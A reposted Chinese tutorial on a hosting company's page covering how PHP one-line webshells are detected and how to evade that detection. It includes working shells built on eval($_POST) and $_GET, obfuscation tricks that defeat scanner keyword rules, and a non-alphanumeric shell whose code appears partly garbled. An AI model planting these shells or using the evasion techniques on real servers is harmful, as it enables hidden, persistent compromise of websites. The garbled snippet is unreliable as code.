欢迎您,零度科技专业海外服务器租用
公司电话: 24小时电话: 

当前位置:首页>网站建设教程>PHP教程

目录导航

常见 Webshell 的检测方法及检测绕过思路

美国FDC机房 发布于 2013-08-24  
PHP教程

我们从一个最简单的webshell结构可以看出其基本结构:“<!--?php eval($_POST[‘a’]);?-->”
从目前被公布的一句话webshell来看,基本都符合这个结构,即shell的实现需要两步:数据的传递、执行所传递的数据。
数据传递&绕过检测
对于数据传递,我们通常的做法是使用$_GET、$_POST、$_SERVER、$_COOKIE等获取客户端数据。但这类关键词如果直接出现的话,那么可以很容易回溯到,我们有几种方案来解决这个问题:
利用应用本身所在框架的输入封装来得到传递的数据
采取某种变通的方式来绕过检测,譬如使用${"_G"."ET"}。不过这种方式也有自身的缺点,可以跟踪“${”;不过这种跟踪又可以通过“$/*a*/{”这种方式绕过(当然其又有被跟踪的可能性)。
使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。
人为构造语言缺陷或应用漏洞,并且这种缺陷是不易察觉的,譬如伪造管理员session等。
数据执行&绕过检测
对于数据执行,我们通常使用的函数或方式有:eval、create_function、``、exec、preg_replace等。当然这类关键词如果直接出现的话,我们的自动化webshell检测脚本可以很轻易的进行识别,目前看我们可以绕过检测的方案较少:
1、通过$a()这种方式来执行函数。不过这种方式也有自身规律在里面,有很多扫描器已经内置了“$.*($.*”这种规则,同样我们可以通过$a/*a*/()这种方式以及相应的变通方式来绕过。(当然其又有被跟踪的可能性)
2、尝试去找到不在黑名单中的函数,或者极其常见的函数。

关于一句话webshell的呈现形式和检测方案
最近微博上提到的变种加密的webshell很多啊,有Fredrik提到的tiny php shell
(http://h.ackack.net/tiny-php-shell.html):

<?=($_=@$_GET[2]).@$_($_GET[1])?>

有Spanner的Non alphanumeric webshell
(http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/):

<?
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]&#124;"").($_[+""]&#124;"").($_[+""]^"");
?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

原文来自零度科技:http://www.ldisp.com/a/php/2013/1788.shtml

上一篇:PHP 防CC攻击设计方法
下一篇:nginx反向代理配置及优化

 
了解零度?

零度科技主营全球服务器租用,如果您有服务器租用需求请联系

海外服务器租用

推荐香港、美国、韩国。提供站群服务器、高防服务器租用

海外特价服务器

关注零度特价服务器频道,了解全球特价服务器。

0

业务咨询

    技术服务

      特价活动
        全站搜索
        热门搜索:
        会员
        0通知
        客服
        0特价
        搜索
        TOP
        香港高防服务器,远程桌面,韩国服务器,nginx,反向代理